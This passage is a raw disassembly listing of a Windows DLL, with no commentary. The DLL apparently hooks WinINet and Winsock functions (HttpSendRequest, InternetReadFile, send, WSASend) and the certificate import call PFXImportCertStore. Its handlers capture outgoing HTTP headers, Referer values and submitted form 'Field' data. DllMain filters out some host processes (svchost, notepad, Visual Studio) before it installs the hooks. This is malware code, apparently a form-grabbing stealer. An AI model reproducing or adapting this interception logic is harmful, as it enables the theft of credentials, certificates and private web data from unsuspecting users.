		push	eax		; Source
		mov	ecx, [ebp+lpParameter]
		mov	edx, [ecx+8]
		push	edx		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	eax, [ebp+lpParameter]
		push	eax		; lpParameter
		push	offset sub_10010623 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10012D01:				; CODE XREF: sub_10012894+393j
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	loc_10012BDF
; ---------------------------------------------------------------------------


loc_10012D15:				; CODE XREF: sub_10012894+25Fj
					; sub_10012894+359j ...
		mov	edx, [ebp+var_134]
		mov	eax, dword_10073A5C[edx*4]
		cmp	dword ptr [eax+0Ch], 0FFFFFFFFh
		jnz	short loc_10012D6A
		mov	ecx, [ebp+var_134]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+var_134]
		mov	edx, dword_10073A5C[ecx*4]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+var_134]
		mov	dword_10073A5C[eax*4], 0


loc_10012D6A:				; CODE XREF: sub_10012894+492j
		mov	[ebp+var_134], 190h


loc_10012D74:				; CODE XREF: sub_10012894+C5j
		mov	ecx, [ebp+var_134]
		add	ecx, 1
		mov	[ebp+var_134], ecx
		jmp	loc_10012922
; ---------------------------------------------------------------------------


loc_10012D88:				; CODE XREF: sub_10012894+9Cj
					; sub_10012894+ACj
		mov	edx, [ebp+Count]
		push	edx
		mov	eax, [ebp+Source]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+lpWideCharStr]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_10073D9C
		mov	[ebp+var_120], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_16
		jmp	short loc_10012DB7
sub_10012894	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10012894


loc_10012DB7:				; CODE XREF: sub_10012894+520j
		mov	eax, [ebp+var_120]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	14h
; END OF FUNCTION CHUNK	FOR sub_10012894

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10012DD0(int,	LPCSTR lpString1, int, char *Source, size_t Count)

sub_10012DD0	proc near		; DATA XREF: sub_1001338E+8Co
					; sub_100134D4+8Co

var_13C		= dword	ptr -13Ch
lpString2	= dword	ptr -138h
lpParameter	= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
Str		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
Size		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString1	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
Count		= dword	ptr  18h

; FUNCTION CHUNK AT 10013290 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E598
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFED4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_130], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_118], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_117]
		rep stosd
		stosw
		stosb
		mov	[ebp+Str], 0
		mov	[ebp+var_124], 0FFh
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_124]
		push	eax
		lea	ecx, [ebp+var_118]
		push	ecx
		push	22h
		mov	edx, [ebp+arg_0]
		push	edx
		call	ds:InternetQueryOptionA	; InternetQueryOptionA
		mov	[ebp+var_13C], eax


loc_10012E5E:				; CODE XREF: sub_10012DD0+48Cj
		mov	eax, [ebp+var_130]
		cmp	dword_10073A5C[eax*4], 0
		jz	loc_10013261
		cmp	[ebp+var_130], 190h
		jge	loc_10013261
		mov	ecx, [ebp+var_130]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+8]
		cmp	eax, [ebp+arg_0]
		jnz	loc_1001324D
		cmp	[ebp+lpString1], 0
		jz	loc_10012FC8
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		mov	[ebp+Size], eax
		cmp	[ebp+Size], 1
		jle	loc_10012FC8
		mov	edx, [ebp+Size]
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	eax, [ebp+Size]
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+lpString2]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		mov	edx, [ebp+lpString2]
		push	edx		; Dest
		push	offset dword_10073E10 ;	int
		push	offset aAcceptEncodi_0 ; "\r\nAccept-Encoding: gzip, deflate"
		mov	eax, [ebp+lpString1]
		push	eax		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, [ebp+Size]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Str], eax
		push	offset aReferer_1 ; "Referer"
		mov	ecx, [ebp+lpString2]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012FB8
		push	offset aReferer_2 ; "Referer"
		mov	edx, [ebp+lpString2]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; lpString2
		mov	eax, [ebp+Str]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, [ebp+Str]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jle	short loc_10012FB8
		push	offset asc_10023964 ; "\r\n"
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012FB8
		push	offset asc_10023968 ; "\r\n"
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	byte ptr [eax+2], 0


loc_10012FB8:				; CODE XREF: sub_10012DD0+180j
					; sub_10012DD0+1B4j ...
		mov	ecx, [ebp+lpString2]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10012FC8:				; CODE XREF: sub_10012DD0+CFj
					; sub_10012DD0+EFj
		cmp	[ebp+Count], 0
		jz	loc_100131EE
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_1002396C ; "---------------"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	edx, [ebp+var_130]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_1002397C ; "--------------\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		cmp	[ebp+Str], 0
		jz	short loc_1001304E
		mov	edx, [ebp+Str]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jle	short loc_1001303E
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	eax, [ebp+Str]
		push	eax		; Source
		call	sub_1000291D
		add	esp, 0Ch


loc_1001303E:				; CODE XREF: sub_10012DD0+259j
		mov	ecx, [ebp+Str]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_1001304E:				; CODE XREF: sub_10012DD0+248j
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aField_0	; "Field :\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset String1	; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	8000h		; Size
		push	0		; Val
		push	offset String1	; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aThread_0 ; "\r\n\r\nThread: "
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		mov	edx, [ebp+Count]
		push	edx		; int
		mov	eax, [ebp+Source]
		push	eax		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_100239AC ; "\r\n\r\n\r\n"
		call	sub_1000291D
		add	esp, 0Ch


loc_100130B8:				; CODE XREF: sub_10012DD0+419j
		mov	ecx, [ebp+var_12C]
		cmp	Dst[ecx*4], 0
		jz	loc_100131EE
		cmp	[ebp+var_12C], 190h
		jge	loc_100131EE
		push	0		; int
		mov	edx, [ebp+var_12C]
		mov	eax, Dst[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; Str2
		lea	edx, [ebp+var_118]
		push	edx		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_100131DA
		push	0Ch		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpParameter], eax
		mov	eax, [ebp+lpParameter]
		mov	dword ptr [eax], 1
		mov	ecx, [ebp+var_130]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+lpParameter]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_130]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString2
		mov	edx, [ebp+lpParameter]
		mov	eax, [edx+4]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, [ebp+Count]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+lpParameter]
		mov	[edx+8], eax
		mov	eax, [ebp+Count]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+lpParameter]
		mov	edx, [ecx+8]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+Count]
		push	eax		; Count
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		mov	edx, [ebp+lpParameter]
		mov	eax, [edx+8]
		push	eax		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, [ebp+lpParameter]
		push	ecx		; lpParameter
		push	offset sub_10010623 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_100131DA:				; CODE XREF: sub_10012DD0+330j
		mov	edx, [ebp+var_12C]
		add	edx, 1
		mov	[ebp+var_12C], edx
		jmp	loc_100130B8
; ---------------------------------------------------------------------------


loc_100131EE:				; CODE XREF: sub_10012DD0+1FCj
					; sub_10012DD0+2F6j ...
		mov	eax, [ebp+var_130]
		mov	ecx, dword_10073A5C[eax*4]
		cmp	dword ptr [ecx+0Ch], 0FFFFFFFFh
		jnz	short loc_10013243
		mov	edx, [ebp+var_130]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_130]
		mov	eax, dword_10073A5C[edx*4]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+var_130]
		mov	dword_10073A5C[ecx*4], 0


loc_10013243:				; CODE XREF: sub_10012DD0+42Fj
		mov	[ebp+var_130], 190h


loc_1001324D:				; CODE XREF: sub_10012DD0+C5j
		mov	edx, [ebp+var_130]
		add	edx, 1
		mov	[ebp+var_130], edx
		jmp	loc_10012E5E
; ---------------------------------------------------------------------------


loc_10013261:				; CODE XREF: sub_10012DD0+9Cj
					; sub_10012DD0+ACj
		mov	eax, [ebp+Count]
		push	eax
		mov	ecx, [ebp+Source]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+lpString1]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073DA0
		mov	[ebp+var_120], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_17
		jmp	short loc_10013290
sub_10012DD0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10012DD0


loc_10013290:				; CODE XREF: sub_10012DD0+4BDj
		mov	eax, [ebp+var_120]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	14h
; END OF FUNCTION CHUNK	FOR sub_10012DD0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E5A8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	dword_10073DBC
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_18
		jmp	short loc_100132FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_100132FF:				; CODE XREF: .text:100132FCj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	14h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10013315	proc near		; DATA XREF: sub_1001338E+47o
					; sub_100134D4+47o

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

; FUNCTION CHUNK AT 10013378 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E5B8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	dx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073DA8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_19
		jmp	short loc_10013378
sub_10013315	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10013315


loc_10013378:				; CODE XREF: sub_10013315+60j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_10013315

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001338E	proc near		; CODE XREF: sub_100136A4+4Fp
		push	ebp
		mov	ebp, esp
		call	sub_100176F1
		call	ds:GetCurrentThread	; GetCurrentThread
		push	eax		; hThread
		call	sub_10017AB5
		push	offset aPvoidReal_crea ; "&(PVOID&)Real_CreateFileW"
		push	offset sub_100100FD
		push	offset dword_10073A48
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_pfxi ; "&(PVOID&)Real_PFXImportCertStore"
		push	offset sub_1000FFF9
		push	offset dword_10073DC8
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_inte ; "&(PVOID&)Real_InternetConnect"
		push	offset sub_10013315
		push	offset dword_10073DA8
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_http ; "&(PVOID&)Real_HttpOpenRequest"
		push	offset sub_10011E49
		push	offset dword_10073A4C
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_ht_0 ; "&(PVOID&)Real_HttpSendRequestW"
		push	offset sub_10012894
		push	offset dword_10073D9C
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_ht_1 ; "&(PVOID&)Real_HttpSendRequestA"
		push	offset sub_10012DD0
		push	offset dword_10073DA0
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_in_0 ; "&(PVOID&)Real_InternetQueryDataAvailabl"...
		push	offset sub_10010829
		push	offset dword_10073B70
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_in_1 ; "&(PVOID&)Real_InternetReadFile"
		push	offset sub_10011167
		push	offset dword_10073DC0
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_in_2 ; "&(PVOID&)Real_InternetReadFileEx"
		push	offset sub_100108A3
		push	offset dword_10073DCC
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_in_3 ; "&(PVOID&)Real_InternetSetStatusCallback"...
		push	offset sub_1001036D
		push	offset dword_10073DD0
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_rege ; "&(PVOID&)Real_RegEnumValueW"
		push	offset sub_1000FCEB
		push	offset dword_10073DAC
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_send ; "&(PVOID&)Real_send"
		push	offset sub_10011CA2
		push	offset dword_10073B88
		call	sub_1000FB92
		add	esp, 0Ch
		push	offset aPvoidReal_wsas ; "&(PVOID&)Real_WSASend"
		push	offset sub_10011AA3
		push	offset dword_10073A58
		call	sub_1000FB92
		add	esp, 0Ch
		call	sub_10017857
		pop	ebp
		retn
sub_1001338E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100134D4	proc near		; CODE XREF: sub_10013713+10p
		push	ebp
		mov	ebp, esp
		call	sub_100176F1
		call	ds:GetCurrentThread	; GetCurrentThread
		push	eax		; hThread
		call	sub_10017AB5
		push	offset aPvoidReal_cr_0 ; "&(PVOID&)Real_CreateFileW"
		push	offset sub_100100FD ; lpAddress
		push	offset dword_10073A48 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_pf_0 ; "&(PVOID&)Real_PFXImportCertStore"
		push	offset sub_1000FFF9 ; lpAddress
		push	offset dword_10073DC8 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_in_4 ; "&(PVOID&)Real_InternetConnect"
		push	offset sub_10013315 ; lpAddress
		push	offset dword_10073DA8 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_ht_2 ; "&(PVOID&)Real_HttpOpenRequest"
		push	offset sub_10011E49 ; lpAddress
		push	offset dword_10073A4C ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_ht_3 ; "&(PVOID&)Real_HttpSendRequestW"
		push	offset sub_10012894 ; lpAddress
		push	offset dword_10073D9C ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_ht_4 ; "&(PVOID&)Real_HttpSendRequestA"
		push	offset sub_10012DD0 ; lpAddress
		push	offset dword_10073DA0 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_in_5 ; "&(PVOID&)Real_InternetQueryDataAvailabl"...
		push	offset sub_10010829 ; lpAddress
		push	offset dword_10073B70 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_in_6 ; "&(PVOID&)Real_InternetReadFile"
		push	offset sub_10011167 ; lpAddress
		push	offset dword_10073DC0 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_in_7 ; "&(PVOID&)Real_InternetReadFileEx"
		push	offset sub_100108A3 ; lpAddress
		push	offset dword_10073DCC ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_in_8 ; "&(PVOID&)Real_InternetSetStatusCallback"...
		push	offset sub_1001036D ; lpAddress
		push	offset dword_10073DD0 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_re_0 ; "&(PVOID&)Real_RegEnumValueW"
		push	offset sub_1000FCEB ; lpAddress
		push	offset dword_10073DAC ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_se_0 ; "&(PVOID&)Real_send"
		push	offset sub_10011CA2 ; lpAddress
		push	offset dword_10073B88 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		push	offset aPvoidReal_ws_0 ; "&(PVOID&)Real_WSASend"
		push	offset sub_10011AA3 ; lpAddress
		push	offset dword_10073A58 ;	int
		call	sub_1000FBAA
		add	esp, 0Ch
		call	sub_10017857
		pop	ebp
		retn
sub_100134D4	endp

; Exported entry   1. NullExport

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public NullExport

NullExport	proc near
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
NullExport	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001361F	proc near		; CODE XREF: sub_100136A4+5Ep
					; DllMain(x,x,x)+1EDp ...

lpTlsValue	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dwTlsIndex, 0
		jl	short loc_1001363A
		push	0		; lpTlsValue
		mov	eax, dwTlsIndex
		push	eax		; dwTlsIndex
		call	ds:TlsSetValue	; TlsSetValue


loc_1001363A:				; CODE XREF: sub_1001361F+Bj
		cmp	dword_10023420,	0
		jl	short loc_10013662
		push	offset Addend	; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	[ebp+lpTlsValue], eax
		mov	ecx, [ebp+lpTlsValue]
		push	ecx		; lpTlsValue
		mov	edx, dword_10023420
		push	edx		; dwTlsIndex
		call	ds:TlsSetValue	; TlsSetValue


loc_10013662:				; CODE XREF: sub_1001361F+22j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_1001361F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001366B	proc near		; CODE XREF: sub_10013713+8p
					; DllMain(x,x,x)+242p
		push	ebp
		mov	ebp, esp
		cmp	dwTlsIndex, 0
		jl	short loc_10013685
		push	0		; lpTlsValue
		mov	eax, dwTlsIndex
		push	eax		; dwTlsIndex
		call	ds:TlsSetValue	; TlsSetValue


loc_10013685:				; CODE XREF: sub_1001366B+Aj
		cmp	dword_10023420,	0
		jl	short loc_1001369D
		push	0		; lpTlsValue
		mov	ecx, dword_10023420
		push	ecx		; dwTlsIndex
		call	ds:TlsSetValue	; TlsSetValue


loc_1001369D:				; CODE XREF: sub_1001366B+21j
		mov	eax, 1
		pop	ebp
		retn
sub_1001366B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100136A4	proc near		; CODE XREF: DllMain(x,x,x)+218p

var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	ds:TlsAlloc	; TlsAlloc
		mov	dwTlsIndex, eax
		call	ds:TlsAlloc	; TlsAlloc
		mov	dword_10023420,	eax
		mov	eax, [ebp+arg_0]
		mov	dword_10073DD8,	eax
		push	104h
		push	offset dword_10073B94
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073B68
		push	104h
		lea	edx, [ebp+var_208]
		push	edx
		push	0
		call	dword_10073B68
		call	sub_1001338E
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_1001361F
		add	esp, 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_100136A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10013713	proc near		; CODE XREF: DllMain(x,x,x)+226p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_1001366B
		add	esp, 4
		call	sub_100134D4
		mov	[ebp+var_4], eax
		cmp	dwTlsIndex, 0
		jl	short loc_10013741
		mov	ecx, dwTlsIndex
		push	ecx		; dwTlsIndex
		call	ds:TlsFree	; TlsFree


loc_10013741:				; CODE XREF: sub_10013713+1Fj
		cmp	dword_10023420,	0
		jl	short loc_10013757
		mov	edx, dword_10023420
		push	edx		; dwTlsIndex
		call	ds:TlsFree	; TlsFree


loc_10013757:				; CODE XREF: sub_10013713+35j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_10013713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

_DllMain@12	proc near		; CODE XREF: DllEntryPoint+4Bp

var_108		= dword	ptr -108h
Str		= byte ptr -104h
hinstDLL	= dword	ptr  8
fdwReason	= dword	ptr  0Ch
lpvReserved	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h		; nSize
		lea	eax, [ebp+Str]
		push	eax		; lpFilename
		push	0		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	offset aSystem32 ; "system32"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_100137EA
		push	offset aSvchost_exe ; "svchost.exe"
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100137EA
		push	offset aRegedt32 ; "regedt32"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_100138C4


loc_100137EA:				; CODE XREF: DllMain(x,x,x)+3Ej
					; DllMain(x,x,x)+61j
		push	offset aVisualStudio ; "visual studio"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_100138C4
		push	offset aQip	; "qip"
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_100138C4
		push	offset aUsergate ; "usergate"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100138C4
		push	offset aNotepad	; "notepad"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100138C4
		push	offset aPsi_exe	; "psi.exe"
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100138C4
		push	offset aFc_exe	; "fc.exe"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_100138CB


loc_100138C4:				; CODE XREF: DllMain(x,x,x)+84j
					; DllMain(x,x,x)+ABj ...
		xor	eax, eax
		jmp	loc_100139B1
; ---------------------------------------------------------------------------


loc_100138CB:				; CODE XREF: DllMain(x,x,x)+162j
		mov	ecx, [ebp+fdwReason]
		mov	[ebp+var_108], ecx
		cmp	[ebp+var_108], 3
		ja	loc_100139AC
		mov	edx, [ebp+var_108]
		jmp	ds:off_100139B7[edx*4]


loc_100138EE:				; DATA XREF: .text:100139BBo
		push	offset aExplorer_exe ; "explorer.exe"
		lea	eax, [ebp+Str]
		push	eax		; Str
